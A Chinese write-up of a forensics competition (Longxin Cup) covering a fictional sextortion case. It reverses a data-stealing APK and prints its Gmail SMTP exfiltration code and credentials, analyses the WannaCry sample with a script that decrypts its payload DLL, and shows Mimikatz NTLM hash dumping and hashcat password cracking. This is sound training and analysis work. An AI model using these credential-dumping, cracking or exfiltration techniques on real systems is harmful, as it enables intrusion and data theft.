第二届 龙信杯电子数据取证大赛 题解¶
Author
NoahTie@猫猫啥也不会
比赛信息¶
说明
检材下载连接等信息来自于 DIDCTF 平台, 感谢 DIDCTF 平台提供的比赛资料与在线练习环境.
写在前面¶
龙信杯这套题做下来给我的感受就是: 坑. 出题人有意无意地挖了很多坑, 做题时很容易找到错误或不完全的答案.
感觉是"学到了点东西, 但学到东西又不太可能".
不建议新入门取证的同学做这套题.
案情介绍¶
近期, 某公安机关接到受害人报案: 通过微信添加认识一位相亲中介客服, 客服邀约其与"相亲"对象进行选妃, 受害人上钩后, 整个过程被涉案团伙录音录像, 同时, 该客服以有更多的对象可供挑选为由, 引导受害人下载其事先制作好的木马 APP, 受害人安装该 APP 后, 嫌疑人利用录制的视频和受害人的通讯录做要挟, 从而实施多次诈骗. 最终受害人不堪重负, 选择报案.
警方赶到现场后, 发现涉案团伙参与另一起侵公案件, 故迅速对现场设备进行证据固定制作镜像, 并制作以下检材清单, 请对检材分析:
| 序号 | 检材信息 | 检材大小 | 检材哈希(MD5) |
|---|---|---|---|
| 1 | 受害人手机检材.dd | 24,226,000,896 字节 | f0fcbf82c134b5c47aac5355b74a83d8 |
| 2 | 涉案计算机检材.E01 | 12,510,412,800 字节 | 43d8b3820cd5103b42773b80140939aa |
| 3 | 涉案服务器检材.E01 | 8,471,552,000 字节 | 6f970587231acbae7333b28168adc3b3 |
| 4 | 数据流量包.pcapng | 17,334,272 字节 | 7847c2ee62660ea0696d99125d997628 |
检材信息¶
下载链接: https://pan.baidu.com/s/1K9dLKWLBsx9m0za2WcamFA?pwd=7ez0
哈希值: MD5: 60a9ddcf1343640bdde89b143c5324b9
挂载/解压密码: MjAyNOm+meS/oeadrw==
手机取证¶
01 此手机共通过 adb 连接过几个设备¶
答案
2
adb 每次连接新设备时, 都会生成唯一的签名证书 key, 存储在逻辑位置 /misc/adb 中.

在 ALEAPP 中, adb_host 插件的报告中只显示 ADB 连接的用户名和主机名, 不显示签名值. 可以对脚本进行简单修改以显示签名值:

02 机主参加考试的时间¶
答案
2024-08-23
考试时间可能存在于以下几个位置:
- 日历的数据库
- 备忘录(笔记)的数据库
- 校园 APP 的数据库
该设备上存在 2 个日历 APP, 分别是安卓设备自带的日历存储(来自谷歌 AOSP, com.android.calendar)和设备供应商提供的日历应用(来自 miui, com.provider.calendar). 前者数据库为空, 后者存储的日程不包含"考试":

在备忘录(com.miui.notes)的数据库中可以看到"考试"关键词:

表 data 中:

表 note 中:

这 2 个表中的数据作用与来源不同:
data表中: 是备忘录 APP 根据笔记的内容生成的预览文件, 其创建/修改时间是 APP 内数据刷新的时间.note表中: 是备忘录中保存的原始数据, 随备忘录内容修改而更新.
将 note 表中的 modified_date 字段的时间戳转换为 datetime:
from datetime import
datetime
modified_date = datetime.fromtimestamp(1723427660361//1000)
# -> datetime.datetime(2024, 8, 12, 9, 54, 20)
modified.weekday()
# -> 0
这天是周一, 下周五就是 11 天后, 是 2024-08-23.
03 手机的蓝牙 Mac 地址¶
答案
48:87:59:76:21:0f
蓝牙配置文件存储在逻辑存储的 /misc/bluedroid/bt_config.conf 文件中:

04 压缩包加密软件共加密过几份文件¶
答案
6
手机上安装的压缩工具是 com.zs.filecompress, 但其数据目录 /data/com.zs.filecompress 和 /media/0/Android/data/com.zs.filecompress 中均没有保存历史记录.
只能去寻找手机中存储的压缩文件, 位于目录 /media/0/FileComperss 中, 还是比较明显的:

6 个 txt 文件实际上都是带加密的 PKZIP 文件.
05 机主的另外一个 155 的手机号码是¶
答案
15599555555
导出 com.zs.filecompress 的 APK 包(\app\~~_jzJxEiovvVW2OdDRNs_dw==\com.zs.filecompress-rGjcoW-RV_xJmIwAD522NA==\base.apk), 丢进 JEB 分析一下. 在 MainActivity 中看到以下代码:

在构造 ZipFile 类实例时将 1!8Da9Re5it2b3a. 字符串作为第 1 个参数传入.

跟进之后发现类中字符串命名为 password. 在 addFiles 方法中使用了密码对文件进行加密:

使用 1!8Da9Re5it2b3a. 作为密码即可解压上题中找到的压缩文件. 其中 2 个文件中存在有价值的信息:


06 手机存在一个加密容器,容器密码是¶
答案
d7Avsd!Y]u}J8i(1bnDD@<-o
见上题.
07 接上问,容器中存在一份成员名单,嫌疑人曾经误触导致表格中的一个成员姓名被错误修改,这个成员的原始正确姓名¶
答案
陆俊梅
在手机的下载目录 \media\0\Download 中找到 1 个大小为 10MB 的 data 文件. 16 进制查看后发现其内容无规律, 疑似加密容器:

导出并使用 VeraCrypt 挂载时报错:

估计是个 TrueCrypt 容器, 新版本的 VeraCrypt 停止了对 TC 容器的支持. 用 TrueCrypt 挂载成功:

有 1 个 Excel 文档, 应该就是题目中提及的表格. 还有 1 个扩展名为 jpg 的文件, 图片大小(757x477 pixel)与文件大小(420KB)不符, 猜测有隐藏数据. 用 010 Editor 查看发现 PNG 尾(IEND)之后还有一大块未知数据:

检查数据, 发现其文件签名(D0 CF 11 E0 A1 B1 1A E1)是 OLESS 格式的 Office 文档, 数据中包含 Excel 文档的特征:

将额外数据导出为 xls 文件并打开. 发现里面是个巨大的用户邀请表, 应该是通过对照邀请人和注册用户的信息, 可以核对出同一手机号的不同姓名. 写一个简单的 python 脚本:

应该是真实姓名"陆俊梅"被修改成了"陆陆".
08 接上题,该成员的对应的最高代理人是谁(不考虑总部)¶
答案
刘珏兰


09 在该组织中,最高层级的层次是¶
答案
12
需要用手机号作为用户标识, 而不是姓名, 因为姓名中存在"作废", "注销"等:

写一个深搜:
import csv
file = open("./名单数据.csv", "r", encoding="utf-8")
csv_reader = csv.reader(file)
invite_dict = {}
for row in csv_reader:
inviter = row[4]
name = row[1]
invite_dict.setdefault(inviter, []).append(name)
def dfs(name, depth):
if name not in invite_dict:
return depth
return max(dfs(child, depth + 1) for child in invite_dict[name])
max_depth = dfs("1", 1)
print(f'Depth: {max_depth}')
10 第二层级(从总部开始算第一级)人员最多的人是多少人¶
答案
1065
还是写代码统计:
def max_inviter_at_level(target_level):
from collections import deque, defaultdict
queue = deque([("1", 1)])
level_invite_count = defaultdict(int)
while queue:
current, depth = queue.popleft()
if depth == target_level:
level_invite_count[current] = len(invite_dict.get(current, []))
for child in invite_dict.get(current, []):
queue.append((child, depth + 1))
if not level_invite_count:
print(f"{target_level} -> None")
return None
max_inviter = max(level_invite_count, key=lambda k: level_invite_count[k])
print(f"{target_level} -> {max_inviter}, {level_invite_count[max_inviter]}")
return max_inviter, level_invite_count[max_inviter]
max_inviter_at_level(3)
# -> 3 -> 13883739096, 1065
11 机主共开启了几款 APP 应用分身¶
答案
2
miui 提供了 APP 分身功能, 原理是将 APK 的包名修改为 <原始包名>-1 并重新签名, 以此避免与原始 APK 包名冲突.
在应用数据目录并没有找到包名中包含 "-1" 的 APP, 猜测是使用了第三方的 APP 分身工具. 在应用数据目录中发现包名 com.qh.privacysec, 疑似与隐私保护相关:

在应用数据目录 /data/com.qh.privacysec/database 中存在名为 fenshen.db 的数据库:

导出并查看, 包含 2 条记录:

12 机主现在安装了几款即时通讯软件(微博除外)¶
答案
4
手机实机上安装了 2 个:

VMOS 虚拟机 ot2 中安装了 2 个, 应用数据位于 /data/com.vmos.pro/osimg/r/ot.02/data/data 目录:

13 勒索机主的账号是多少(非微信 ID)¶
答案
12233444555
本题存疑
本题的题目描述或许有误: 题目描述存在疑义.
正确的题目描述应为: "勒索机主的微信用户, 要求受害人转账至哪个账号"
关于微信数据库解密可以参考 2025 FIC 初赛的题解.
这里有所不同, 检材中微信的数据目录中缺少了 shared_prefs 目录, 因此无法直接获取 IMEI 和 UIN 信息.
IMEI 的获取可以参考文章 微信新版本数据库解密分析 - WXjzc. 使用密钥 _wEcHAT_ 对 /data/com.tencent.mm/files/KeyInfo.bin 进行解密:

微信高版本中使用了腾讯自研的 MMKV 数据库, 本质上是一个极简化的键值对数据库, 参考 Tencent/MMKV: An efficient, small mobile key-value storage framework developed by WeChat.. 可以使用 spak9/mmkv_visualizer: A web application that will allow you to visualize MMKV databases, with all processing done client-side. 来比较直观地读取 MMKV 数据库.
在 /data/com.tencent.mm/files/mmkv 目录中存储着 MMKV 数据库. 其中 system_config_prefs 中存储着用户的 UIN 信息:

数据库密钥是 md5(IMEI + UIN) 前 7 位 16 进制数:
from hashlib import md5
md5(b"1234567890ABCDEF" + b"326674411").hexdigest()[:7]
# -> 'd5d90f2'
连接数据库参考 2025 FIC 初赛的题解, 连接时需要指定参数.

提到要换个 IM, 去设备上安装的其他几个 IM 的聊天数据里找找.
默往(com.mostone.life)的数据库也有加密, 密钥是 md5(uid) 的前 6 位 16 进制. UID 可以在 /data/com.mostone.life/shared_prefs/im.xml 中找到:

与微信数据库类似, 连接时需要指定使用 sqlcipher3:
连接后在 im_message 表中看到相关信息:

这里有 2 个账号信息:
- 支付宝: 12233444555
- 默往: 1836042664454131712
14 接上问,机主通过此应用删除过几个聊天记录¶
答案
1
接上题, 聊天记录表中有 1 条记录的 delStatus 是 2, 其余均为 NULL, 判断这条消息被删除:

15 会盗取手机信息的 APP 应用包名是¶
答案
com.lxlxlx.luoliao
之前也看到了, 有 1 个包名为 com.lxlxlx.luoliao 的 APK 包:

该 APK 包名与嫌疑人在微信发送给受害者的 APK 包的包名一致:

16 该软件作者预留的座机号码是¶
答案
40085222666
APP 的主入口是 com.gass.mobileH.MainActivity, 在类中看到由 Base64 编码的字符串, 以及调用这些字符串的函数:

s0 = "4SLYY9lHJ2SnY4PTeoNuPQ==";
b.b.a.a.a(mainActivity0.s0.getBytes(),"E10ADC3949BA59ABBE56E057F20F883E".getBytes())
跟进 b.b.a.a.a 函数:

整个类恢复符号表之后大概是:
public class AESDecryptor {
public static byte[] defaultIV;
static {
AESDecryptor.defaultIV = new byte[16];
}
public static byte[] decrypt(byte[] arr_b, byte[] arr_b1) {
if(arr_b == null || arr_b.length == 0 || arr_b1 == null || arr_b1.length < 16 || AESDecryptor.defaultIV.length < 16) {
throw new InvalidParameterException();
}
byte[] arr_b2 = Base64.decode(arr_b, 0);
IvParameterSpec ivParameterSpec0 = new IvParameterSpec(new String(arr_b1).substring(0, 16).getBytes());
SecretKeySpec secretKeySpec0 = new SecretKeySpec(arr_b1, "AES");
Cipher cipher0 = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher0.init(2, secretKeySpec0, ivParameterSpec0);
return cipher0.doFinal(arr_b2);
}
}
实际上是使用 PKCS5 Padding 的 AES-CBC-256 加密, 传递的第 1 个参数是密文, 第 2 个参数的前 16 字节是 IV, 第 2 个参数整体做密钥.
接着用 CyberChef 或 Python 进行解密:
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad, pad
key = b"E10ADC3949BA59ABBE56E057F20F883E"
iv = b"E10ADC3949BA59AB"
enc = b"4SLYY9lHJ2SnY4PTeoNuPQ=="
cipher = AES.new(key, AES.MODE_CBC, iv)
dec = cipher.decrypt(pad(b64decode(enc), AES.block_size))
try:
dec = unpad(dec, AES.block_siz)
except:
pass
dec
# -> b'/forensic.xml'
对所有加密字符串解密(最后 2 个字符串需要拼接起来解密):
/forensic.xml
/forensical.xml
1304567895@gmail
1304567895@gmail.com
软件有问题,请联系boss电话:40085222666
17 接上题,恶意程序偷取数据的收件邮箱地址的 gmail 邮箱是¶
答案
1304567895@gmail.com
查看上题中邮箱的加密字符串的交叉引用, 找到 GET 的位置:


2 个数组和包含 IMEI 等信息的字符串被传送到 b.b.a.g.a 类的实例. 跟进该类, 对符号表进行恢复:
public class EmailSender {
public i message;
public Properties properties;
public String encryptedHost;
public String encryptedUsername;
public String encryptedPassword;
public EmailSender() {
this.properties = new Properties();
this.encryptedHost = "vYyjDLnOMdPvDhyqxr41zQ==";
this.encryptedUsername = "EX0dgp0EDZ9v3yE9hX2mQcMa9DPzJQ/LPkZDKyiDH64=";
this.encryptedPassword = "kbLBbvDVyghScP1Jy6bK7A==";
}
public final boolean initializeSmtpConfig() {
try {
this.properties.put("mail.smtp.host", new String(AESDecryptor.decrypt(this.encryptedHost.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes())));
this.properties.put("mail.smtp.auth", "true");
this.properties.put("mail.transport.protocol", "smtp");
this.properties.put("mail.smtp.starttls.enable", "true");
this.properties.put("mail.smtp.ssl.checkserveridentity", "false");
this.properties.put("mail.smtp.ssl.trust", new String(AESDecryptor.decrypt(this.encryptedHost.getBytes(), "E10ADC3949BA59ABBE56E057F20F883E".getBytes())));
this.message = new i();
return true;
}
catch(Exception exception0) {
exception0.printStackTrace();
return false;
}
}
public final boolean sendEmail(String s, String s1, List list0, List list1) {
// snip
}
}
对几个加密字符串进行解密, 得到:
分别是 SMTP 服务器的 URL, 用户名和口令.
18 接上题,恶意程序偷取数据的发件邮箱地址是¶
答案
temp1234@gmail.com
见上题.
19 接上题,恶意程序偷取数据的发件邮箱密码是¶
答案
qwer123456
见上题.
20 恶意程序定义收发件的地址函数是¶
答案
b
见上题.
计算机取证¶
01 嫌疑人在将其侵公数据出售前在 Pycharm 中进行了 AES 加密,用于加密的 key 是¶
答案
65B2564BG89F16G9
加密脚本位于 Partition 2/Python/encrypted/encrypted.py:

目录中有同名的 FileSlack 扩展名文件, 开启了 Windows 基于 NTFS 的加密(Encrypting File System, EFS). 在 FTK Imager 中使用 EFS 加密检测功能可以识别出被加密的文件:

FileSlack 勒索病毒
还有一种名为 FileSlack 的勒索病毒, 会将文件加密并添加 FileSlack 扩展名. 但与开启了 EFS 的情况很容易区分: 勒索病毒会删除源文件, 只剩下加密后的 FileSlack 文件, 且该文件为常规文件; EFS 加密后会在取证工具中看到原始文件及 FileSlack 文件.

对系统仿真后查看文件, 这时系统将自动使用原始设备中的证书进行解密. 在线环境下火眼仿真可以云端获取用户口令:

之后打开 Python 脚本查看即可:

如果在离线环境无法使用云端数据库获取用户口令, 需要使用 Mimikatz 从 SAM 和 SYSTEM hive 文件(位于 %systemroot%/System32/config 目录)中提取 NTML 哈希, 之后用 HashCat 字典/弱口令爆破.
使用 Mimikatz 提取 NTML hash:
sudo mimikatz.exe
# Win11 with sudo, or gsudo installed.
# Otherwise, use elevated powershell or cmdline.
在 Mimikatz 命令行中:
得到 NTLM hash 为 1699741e90e0be37532c22fe84baefe8:

使用 HashCat 字典爆破口令:

02 身份证为 "371963195112051505" 这个人的手机号码是¶
答案
15075547510
在登录仿真系统的用户之后, 可以通过命令行对 E 盘中的全部加密数据进行解密, 以便后续导出文件进行分析:

照着 encrypted.py 写一个解密脚本:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
def aes_decrypt(encrypted_hex, key, iv):
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted_data = bytes.fromhex(encrypted_hex)
decrypted_padded = cipher.decrypt(encrypted_data)
decrypted_data = unpad(decrypted_padded, AES.block_size)
return decrypted_data.decode()
def process_decrypt(input_file, output_file, key, iv):
with open(input_file, "r") as f_in, open(output_file, "w") as f_out:
for line in f_in:
parts = line.strip().split(',')
index = parts[0]
f_out.write(index + ",")
decrypted_parts = []
for part in parts[1:]:
decrypted_part = aes_decrypt(part, key, iv)
decrypted_parts.append(decrypted_part)
f_out.write(",".join(decrypted_parts) + "\n")
key = b'65B2564BG89F16G9'
iv = b'83E6CBEF547944CF'
process_decrypt("encrypted_data.txt", "decrypted_data.csv", key, iv)

除了用 Python 之外, 还可以使用 Navicat 将 csv 文件导入到数据库后进行分析.
03 对解密后的身份证数据列进行单列去重操作,重复的身份证号码数量是(身份证不甄别真假)¶
答案
0
写一个 Python 脚本统计:
import csv
file = open("./decrypted_data.csv", "r", encoding="gbk")
csv_reader = csv.reader(file)
ids = {}
for row in csv_reader:
id_no = row[2]
if id_no not in ids:
ids[id_no] = 1
else:
ids[id_no] += 1
for id_no, count in ids.items():
if count != 1:
dup_id_count += 1
dup_count += count - 1
dup_count
# -> 0
dup_id_count
# -> 0
没有重复的身份证号.
04 接上题,根据身份证号码(第 17 位)分析性别,男性的数据是多少条¶
答案
5001714
继续使用 Python 统计:
05 接上题,对密后的数据文件进行分析,甄别身份证号码性别值与标识性别不一致的数量是¶
答案
5001185
继续使用 Python 统计:
file = open("./decrypted_data.csv", "r", encoding="gbk")
csv_reader = csv.reader(file)
for row in csv_reader:
id_no, gender = row[2], row[-1]
gender_from_id = "男" if int(id_no[16]) % 2 else "女"
if gender != gender_from_id:
gender_mis_count += 1
gender_mis_count
# -> 5001185
06 计算机中存的 “VPN” 工具版本是¶
答案
4.4
在 E:/WinXray 目录下存储着 WinXray 的程序文件. 在仿真系统中运行即可看到版本:

07 计算机中存的 “VPN” 节点订阅地址是¶
答案
https://paste.ee/d/4eIzU
WinXray 的应用数据存储在 C:\Users\Administrator\AppData\Local\WinXray 目录下, 其中的 Proxy.table 中存储有订阅信息:

08 eduwcry 缩包文件的解压密码是¶
答案
yasuomima
这个题是真的想不到了, 参考了 jzc 的 WP 才知道, 压缩密码要在搜狗输入法的词库里面找.
import struct
file = "./sgim_gd_usrbg.bin"
with open(file, "rb") as f:
f.seek(0x40)
byte0 = f.readline()
start = struct.unpack("<I", byte0[:4])[0]
f.seek(start, 0)
byte = f.read()
index = 0
while True:
index += 8
byte1 = byte[index : index + 2]
blen = struct.unpack("<H", byte1)[0]
if blen == 0:
break
string = byte[index + 2 : index + 2 + blen]
string = string.decode(encoding="utf-16le", errors='ignore')
index = index + 2 + blen
byte2 = byte[index : index + 2]
len2 = struct.unpack("<H", byte2)[0]
index = index + 2 + len2
print(string)
用户词库的内容:
bing
夜神
chinese
pip
出
Python
pi
abc
edu
WA
真
压缩
压缩密码
同意
通用
yasuo
NOX
yasuomima
data
databackup
容器
容器密码
企鹅二退哦拍
dd
生日
订阅
订阅地址
用用户词库当字典爆破压缩包可以找到密码是 yasuomima :

09 接上题,恶意程序释放压缩包的 md5 值是¶
答案
b576ada3366908875e5ce4cb3da6153a
提示
这部分的题目是真实的 WANACRY 勒索病毒, 逆向难度较高. 比赛时更推荐使用沙箱检测应用行为.
一定要逆向的话, 在虚拟机/沙箱里动调的难度低于静态.
出题人未对病毒样本做任何修改, 因此可以在微步在线沙箱直接根据哈希值查到报告: 样本报告-微步在线云沙箱.
这里提供静态分析的过程, 算是简单检测一下自己的逆向能力吧.
另外, 我并不是逆向手(真正的逆向手是 @BlackBird), 因此可能各种地方会存在一下小错误, 请多包涵.
用 MalCat 加载二进制文件 wcry.exe, 发现有 1 个 PKZIP 文件:

导出该压缩包.
10 接上题,请恶意程序记录的洋葱浏览器下载地址是¶
答案
https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip
IDA 加载 wcry.exe, 在程序主入口 WinMain(x,x,x,x) 函数伪代码:

sub_401DAB 的第 2 个参数是一个字符串, 查看值为 WNcry@2ol7:

跟进该函数.

判断函数的第 2 个参数为 PKZIP 的解压密码, 对该压缩包进行解压(可执行文件添加了 .malware 扩展名):

c.wnry 中存在 5 个 onion 地址和 1 个 URL:

该 URL 为 TorBrowser 的下载地址.
11 接上题,恶意程序解密了 t.wnry 后该 dll 的 md5 值是¶
答案
F351E1FCCA0C4EA05FC44D15A17F8B36
重新整理整个主入口函数:

导入解密密钥的函数 sub_401437 :

继续跟进 sub_401861:

其中的 unk_40EBF8 位置的数组即为解密密钥, 跟进, 看到是 RSA 的 KEY 文件, 在 Hex View 中导出到文件:

回到函数 sub_401861, 继续跟进 CryptImportKey 函数, 发现该函数是一个导入函数(从 advapi32.dll 动态加载):

由此判断该 RSA Key 是一个由 WinAPI (wincrypt) 中的 CryptExportKey 生成的 BLOB RSA 密钥. 微软的文档中对其结构定义如下(参考 RSA/Schannel Key BLOBs):
PUBLICKEYSTRUC publickeystruc ;
RSAPUBKEY rsapubkey;
BYTE modulus[rsapubkey.bitlen/8];
BYTE prime1[rsapubkey.bitlen/16];
BYTE prime2[rsapubkey.bitlen/16];
BYTE exponent1[rsapubkey.bitlen/16];
BYTE exponent2[rsapubkey.bitlen/16];
BYTE coefficient[rsapubkey.bitlen/16];
BYTE privateExponent[rsapubkey.bitlen/8];
其中的 PUBLICKEYSTRUC 的结构如下(参考 PUBLICKEYSTRUC (wincrypt.h)):
typedef struct _PUBLICKEYSTRUC {
BYTE bType;
BYTE bVersion;
WORD reserved;
ALG_ID aiKeyAlg;
} BLOBHEADER, PUBLICKEYSTRUC;
其中的 RSAPUBKEY 的结构如下(参考 RSAPUBKEY (wincrypt.h)):
Python / CyberChef 都无法使用该格式的 RSA 密钥容器, 需要根据上述定义写一个 Python 脚本, 对密钥容器进行转换:
# parseRSAKeyfromWinBLOB.py
from pathlib import Path
from io import BufferedReader
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Random import get_random_bytes
def read_bytes_parts(f: BufferedReader, parts: list[int]) -> tuple:
bytes_parts = list()
for part in parts:
part_bin = f.read(part)
part_int = int.from_bytes(part_bin, "little")
bytes_parts.append(part_int)
return tuple(bytes_parts)
def parse_rsa_win_blob(file: str) -> RSA.RsaKey:
WIN_RSA_STRUCT_FIXED = [
1, # bType
1, # bVersion
2, # reserved
4, # ALG_ID
4, # magic
4, # bitlen
4 # pubexp
]
win_blob = open(file, "rb")
bType, bVersion, reserved, ALG_ID, magic, bitlen, pubexp = read_bytes_parts(win_blob, WIN_RSA_STRUCT_FIXED)
assert magic == 843141970 # little endian of b"RSA2"
bytelen = bitlen // 8
WIN_RSA_STRUCT_COMPONENT = [
bytelen, # modulus
bytelen // 2, # prime1 -> p
bytelen // 2, # prime2 -> q
bytelen // 2, # exponent1
bytelen // 2, # exponent2
bytelen // 2, # coefficient
bytelen # privateExponent
]
modulus, prime1, prime2, exponent1, exponent2, coefficient, privateExponent = read_bytes_parts(win_blob, WIN_RSA_STRUCT_COMPONENT)
assert prime1 * prime2 == modulus
RSA_component = (
modulus,
pubexp,
privateExponent,
prime1,
prime2
)
RSAKey = RSA.construct(RSA_component)
return RSAKey
def export_to_PEM(file_name: str|Path, key: RSA.RsaKey) -> None:
key_bytes = key.export_key("PEM")
with open(file_name, "wb") as f:
f.write(key_bytes)
if __name__ == "__main__":
rsa_key = parse_rsa_win_blob("./pbData.txt")
export_to_PEM("./rsa.pem", rsa_key)
在程序主入口 WinMain(x,x,x,x) 函数伪代码中, 函数 sub_4014A6 的第 1 个参数为字符串 t.wnry:

跟进该函数:

该函数读取了 t.wnry 文件, 操作大致如下:
- 8 Bytes 为文件签名
WANACRY! - 4 Bytes 为
Size, 该值应该为0x100 - 读取
Size(256) Bytes, 存入内存空间中, 为 RSA 加密的 AES 密钥 - 4 Bytes 为
Buffer - 8 Bytes 为
dwBytes - RSA 解密 AES 密钥
- 扩展 AES 密钥
- 读取其余文件
- AES 解密其余文件并存入内存空间
- 返回内存空间地址
写一个 Python 脚本复刻该过程:
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Random import get_random_bytes
from typing import Tuple
from bitstring import BitArray
class CCryptFile:
def __init__(self, rsa_key: RSA.RsaKey, enc: bytes):
self._rsa_key = rsa_key
self._hcryptprov = True
self.enc = enc
self.dec = bytes()
def DeCryptPrivateKey(self) -> Tuple[bool, int]:
if not (self._hcryptprov and self._rsa_key and self.enc):
return False, 0
cipher = PKCS1_v1_5.new(self._rsa_key)
sentinel = get_random_bytes(15)
plaintext = cipher.decrypt(self.enc, sentinel)
if plaintext == sentinel:
return False, 0
out_len = len(plaintext)
self.dec = plaintext
return True, out_len
def _unpad_pkcs7(data: bytes) -> bytes:
pad_len = data[-1]
if pad_len < 1 or pad_len > AES.block_size:
raise ValueError("Invalid padding")
if data[-pad_len:] != bytes([pad_len]) * pad_len:
raise ValueError("Invalid padding")
return data[:-pad_len]
if __name__ == "__main__":
with open("rsa.pem", "rb") as f:
rsa_key = RSA.import_key(f.read())
with open("enc", "rb") as f:
encrypted = f.read()
bits = BitArray(encrypted)
bits.byteswap()
encrypted = bits.tobytes()
crypt = CCryptFile(rsa_key, encrypted)
ok, out_len = crypt.DeCryptPrivateKey()
if not ok:
exit(1)
key = crypt.dec
iv = b"\x00" * 16 # Default IV
with open("./t.wnry", "rb") as f:
assert (Buf1 := f.read(8)) == b"WANACRY!"
_ = f.read(4 + 256 + 4 + 8)
data = f.read()
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
plaintext = cipher.decrypt(data)
try:
plaintext = _unpad_pkcs7(plaintext)
except:
pass
print(f"{plaintext[:64] = }")
with open("decrypted_dll", "wb") as f:
f.write(plaintext)
解密出来瞬间火绒给杀了. HashMyFiles 算 MD5:

12 接上题,恶程序运行起来后第一个循环调用了几次 taskkill.exe¶
答案
5
回到 WinMain 里面:

v6 是加载的 t.wnry 的入口点, 函数 sub_402924 的第 2 个参数是字符串 TaskStart. 这里获取了一个函数地址.
可见病毒主程序的功能就是释放文件 & 加载 dll. 接下来的功能应该在 t.wnry 里. 用 IDA 加载之, 在导出表中找到了 TaskStart:

开启 String View, 搜索 taskkill:

查交叉引用, 找到唯一的一处调用是在 sub_100057C0 中:

关闭了几种 Win 平台主流的数据库进程.
13 接上题,@WanaDecryptor@.exe.lnk 文件是通过什么函数创建的¶
答案
CreateShortcut
还是在 String 里面找:

找到调用字符串的函数 sub_10004CD0:

生成了一个字符串 v6:
@echo off
echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs
echo SET om = ow.CreateShortcut("/PATH/TO/@WanaDecryptor@.exe.lnk")>> m.vbs
echo om.TargetPath = "/PATH/TO/@WanaDecryptor@.exe">> m.vbs
echo om.Save>> m.vbs
cscript.exe /nologo m.vbs
del m.vbs
作用是通过运行 vbs 脚本为 @WanaDecryptor@.exe 生成一个快捷方式:
SET ow = WScript.CreateObject("WScript.Shell")
SET om = ow.CreateShortcut("/PATH/TO/@WanaDecryptor@.exe.lnk")
om.TargetPath = "/PATH/TO/@WanaDecryptor@.exe"
om.Save
其中创建快捷方式的函数是 CreateShortcut.
14 接上题,恶程序修改系统桌面壁纸是在哪个函数实现的¶
答案
sub_10004F20
检视另外几个程序释放的 .wnry 文件后发现 b.wnry 是 BMP 格式的图片:

在 String View 中搜索 b.wnry:

找到调用该字符串的函数:

这里有点小问题, 看起来挺难受的, 修改一下变量的声明:


SystemParametersInfoW(0x14u, 0, Buffer, 1u); 的作用是修改桌面壁纸: SystemParametersInfoW 函数的参数是 SPI_SETDESKWALLPAPER (0x14) 和 SPIF_UPDATEINIFILE (1). 参考 SystemParametersInfoW function (winuser.h).
15 VeraCrypt 加密容器的密码是¶
答案
qwertyuiop1
将解密后的 E:\data-backup.dd 导出. 根据文件签名判断这实际上是一个 PKZIP 文件, 解压之后其中存储着 1 个容器文件和 1 个 txt 文件:

16 其中存在一苹果手机备份包,手机备份包的密码是¶
答案
75966
备份在上题的 VC 容器中, 有加密:

提取备份哈希:
perl .\itunes_backup2john.pl "D:\Longxin2024\2024年06月19日_18时07分45秒_iPhone\a9f9362b4e1498f85f5e64a7b2a37ca9244486f4\Manifest.plist"
# -> $itunes_backup$*10*626711969caae23df508e651fa071254593d97384e76fed148cd0f3958e0beace281310f49cdc019*10000*f4aa09135e119c474548436d29bd9830242b3cb5*10000000*6ba58ebbae1fed3cb11e0e8b4ce6d49be0282e11
hashcat 跑弱口令字典爆破:
hashcat -m 14800 -a 0 -d 1 "`$itunes_backup`$*10*626711969caae23df508e651fa071254593d97384e76fed148cd0f3958e0beace281310f49cdc019*10000*f4aa09135e119c474548436d29bd9830242b3cb5*10000000*6ba58ebbae1fed3cb11e0e8b4ce6d49be0282e11" "D:\Forensics\PasswordCrack\dict\password-attacks\4to6_digits.txt"
爆出来口令是 75966:

17 接上题,机主实际篡改多少微信数据¶
答案
3
备份中只安装了 3 个第三方应用:

导出这些应用的 Container 和 GroupContainer.
微信的消息记录数据库是 AppDomain-com.tencent.xin\Documents\0f622b1ed0cec997394177e4a0d5d9e2\DB\message_*.db:


在 AppDomain-com.tencent.xin\Documents\0f622b1ed0cec997394177e4a0d5d9e2\session\lsm_data\level_0 中存储着微信的消息碎片. 整个文件是自定义的二进制格式, 查看一些数据并对照聊天记录数据库发现规律, 可以搜索十六进制串找到对应的消息: b"\x42\x13" + sender_wxid.encode() + b"\x20\x02\x4a\x13" + reciever_wxid.encode(). 该十六进制串后为消息长度, 之后即为消息内容:

对照后发现 3 条消息被修改:



18 接上题,机主共存款了多少金额¶
答案
98万
在 com.titashow.tangliao(小西米语音)的数据库 AppDomain-com.titashow.tangliao\Documents\IM5_CN\9031bc3c805ac5e55ecaa151092c2c4b\IM5_storage\1438793628033019010\im5db 中可以找到:

19 在手机模拟中勒索 apk 软件的 sha256 值是¶
答案
340bd211955996c5d62bbde94a0bed4eb3a7965b23af52114991bca02346928e
手机模拟器有一个备份, 位于 Partition1\Users\Administrator\Documents 目录中. 是夜神模拟器的备份, 实际上是一个 PKZIP 压缩包, 导出并解压即可得到虚拟机的虚拟磁盘文件

使用 FTK Imager 挂载 nox-disk2.vmdk, 在 Partition3\app 目录中看到只有 3 个非预装应用:

可以猜到 com.fankes.tmoreplus 是勒索软件的包名, 导出其中的 APK 包, 计算 SHA-256 为: 340bd211955996c5d62bbde94a0bed4eb3a7965b23af52114991bca02346928e.
20 接上题,勒索 apk 软件的解锁密码是¶
答案
anzhuo.com
使用 JEB 加载上述 APK 包, 应用的主入口类 package com.mycompany.myapp4.MainActivity:

开启了无障碍服务, 加载了一个空白的全屏 Layout:

通过无障碍服务启动了新的类 0x10000000:
该类是 com.mycompany.myapp4.ABC:

可以看出解锁密码为 anzhuo.com.
这里加载了一个新的 Overlay, 并通过无障碍服务置于用户界面顶层:

Overlay 的内容是(部分内容因为言语过激已打码):

流量分析¶
